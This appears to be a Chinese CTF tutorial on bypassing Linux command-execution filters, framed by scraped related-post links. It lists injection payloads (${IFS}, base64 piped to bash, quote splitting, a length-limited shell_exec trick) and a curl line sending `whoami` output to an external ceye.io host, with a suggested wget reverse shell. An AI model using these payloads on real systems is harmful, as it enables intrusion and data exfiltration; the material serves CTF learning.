linux命令执行绕过,命令执行绕过
8种机械键盘轴体对比
本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?
命令执行过滤函数与绕过机制
escapeshellcmd函数:字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。(对可能进行欺骗命令执行函数的字符进行转义),下面来具体的看一下这个函数:
再看一下源码(阅读源码有些吃力Orz)
在windows平台是通过^来取消特殊字符的意义的,linux下应该是直接通过\来转义的,但是这里在windows下bat文件存在特别之处。
成功用%1a绕过并进行命令执行,如果我们用||,|,&,&&这些命令管道分隔符,是会被函数转义过滤掉的。这里在说一下常用的几个管道符,我比较常用的是&&,|。
在linux下:
| 无论前面的命令存在与否,都只会显示后面命令的执行结果。
&&必须要前面的命令是正确的,才可以执行后面的命令,并且会把两个命令的执行结果都显示出来。
绕过命令中对空格的过滤
分隔符
${IFS}绕过:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。
${IFS}$9绕过:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。
同样这里也可以cat${IFS}$9flag
重定向符绕过1
2payload1:cat<>flag
payload2:cat
拼接绕过1
2
3payload:a=c;b=at;$a$b flag
You GET IT
Base64编码绕过1
2
3
4
5
6
7
8
9payload1:
[email protected]:/home/aohan# `echo "Y2F0IGZsYWc="|base64 -d`
You Get It
payload2:
[email protected]:/home/aohan# echo "Y2F0IGZsYWc="|base64 -d|bash
You Get It
`反引号在Linux下代表命令执行,这个命令代表着将字符串进行base64解码,然后输出这个命令执行后的信息
利用文件中的字母绕
payload :expr substr $(awk NR==1 epoch) 1 1` “`expr substr $(awk NR==2 epoch) 1 1
IP中.的绕过
将IP转化为长整数—-转换在线工具
单引号 双引号绕过1
2
3
4
5
6
7
8[email protected]:/home/aohan# cat f""lag
You Get It
[email protected]:/home/aohan# cat f''lag
You Get It
[email protected]:/home/aohan# cat f'l'ag
You Get It
[email protected]:/home/aohan# cat f'la'g
You Get It
都可以进行绕过
反斜线绕过1
2[email protected]:/home/aohan# cat flag
You Get It
无命令回显
例如HITCON2017的一道题:1
2
3
4
5
6
7
8
9<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>
就可以利用>写入文件名,>wget\,>www.baidu.com\ ,ls -t >g, sh g,执行命令,这里可以把百度换成自己vps上的文件反弹shell操作。
第二种无回显操作方法:
利用ceye.io
因为在Linux下exec与shell_exec这种函数基本上是没有回显的,所以我们只能把内容打到ceye.io上,执行命令`curl http://f1f0nd.ceye.io/```whoami ``,然后可以看到命令的回显
LINUX下一些已有字符${PS2} 对应字符 ‘>’
${PS4} 对应字符 ‘+’
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串
linux命令执行绕过,命令执行绕过相关推荐
- ctf 监听端口_从一道ctf题目学到的绕过长度执行命令姿势 - 华域联盟|chu
参考:https://blog.csdn.net/calmegm/article/details/80874902 https://www.leavesongs.com/SHARE/some-tric ...
- cmd执行命令不等待返回值_从一道ctf题目学到的绕过长度执行命令姿势
0x01:linux中的 > 符号和 >> 符号 1.通过>来创建文件 >test.txtls 2.通过>将命令执行的结果存入文件中 echo "hell ...
- 命令执行漏洞-命令执行-漏洞位点- 代码注入-漏洞利用-联合执行-Bypass(空格,关键字过滤,变量绕过)-例题两道-actf2020exec-GXYCTF2019 Ping Ping Ping
命令执行 命令执行是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令.当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数. 比如PHP中的system,e ...
- CVE-2022-1388 F5 BIG-IP权限绕过命令执行漏洞复现
目录 0x01 声明: 0x02 简介: 0x03 漏洞概述: 0x04 影响版本: 0x05 环境搭建: 下载环境:(要注册账号) 登录页面: 0x06 漏洞复现: EXP地址: 修改EXP: 利用 ...
- CVE-2022-0543:redis lua沙盒绕过命令执行漏洞复现
#Redis简介 Redis 全称 Remote Dictionary Server(即远程字典服务),它是一个基于内存(当然也可以把其存储至硬盘上,这也是写shell的必要条件之一)实现的键值型非关 ...
- linux运行驱动的命令,「驭龙」Linux执行命令监控驱动实现解析
本文是「驭龙」系列的第三篇文章,对照代码解析了驭龙在Linux执行命令监控驱动这块的实现方式.在正式宣布驭龙项目开源之前,YSRC已经发了一篇关于驭龙EventLog 读取模块迭代历程的文章. 0x0 ...
- Linux使用snoopy记录命令执行日志
注:本文基于CentOS 6.5编写 1.关于snoopy snoopy是一个开源的轻量级lib库, 可以记录系统中所有执行过的命令和参数.它是以预加载(preload)的方式实现历史命令的记录. 通 ...
- python远程登录linux命令,Python+requests通过paramiko远程登录Linux执行sh命令
在做自动化测试过程中, 偶尔需要登录Linux服务器执行一些sh命令.Python的paramiko模块, 遵循SSH2协议, 支持以加密和认证的方式远程连接服务器, 可用来连接远程linux主机, ...
- linux命令之crontab定时执行任务【转】
本文转载自:https://www.cnblogs.com/coffy/p/5608095.html 一.crond简介 crond 是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护 ...
- python连接linux服务器并使用命令_python基于paramiko模块实现远程连接Linux虚拟机(服务器)并执行指定命令返回输出结果...
对于开发者来说,windows是我们接触最多的操作系统了,但是Linux是我们必不可少的一项重要技能,很多服务或者应用都需要在Linux下运行,掌握Linux系统的基本使用也是非常重要的,今天有一个需 ...
最新文章
- 吐血整理!这可能是最全的机器学习工具手册
- linux查询所建文件夹,linux中的文件和文件夹的新建、查询、删除
- [Java基础]体验Stream流
- Mac安装nginx配置过程
- 潜水员(信息学奥赛一本通-T1271)
- html中hr的各种样式使用
- winxp制作服务器,你要知道的WinXP服务器操作系统安装的方法
- 在Tomcat 与weblogic 中的 日志(log4j) 配置系列一
- 往AWS上传文件[超快]
- JPA用TABLE生成主键
- Linux环境下安装和使用Hyperledger Composer
- 修改alert提示框的css样式
- 男人至死是少年,我在GitHub找到了我们的童年经典
- 安卓 apk反编译教程
- CocoStudio图片资源加密
- C语言”%p”的意思-----printf(%p,p)
- Python实现文件上传和下载
- [Vue源码解析] patching算法
- 数据字典在web中的简单应用
- Linux内核面试题(2022最新版)
热门文章
- Python::OS 模块简介
- 清空SQL数据库日志
- pandas读取csv文件数据并使用matplotlib画折线图和饼图
- .Net Core 图片上传FormData和Base64
- PHP如果某商品下的所有货品库存都为0,则下架该商品
- 微服务之Go-Micro(八)基于Gin框架的Http网关
- PHP substr(),mb_substr(),mb_strcut()比较
- Yii Framework2.0开发教程(3)数据库mysql入门
- 六石管理学:到了一定境界,确实可以随心所欲
- 使用PrinterJob进行分页打印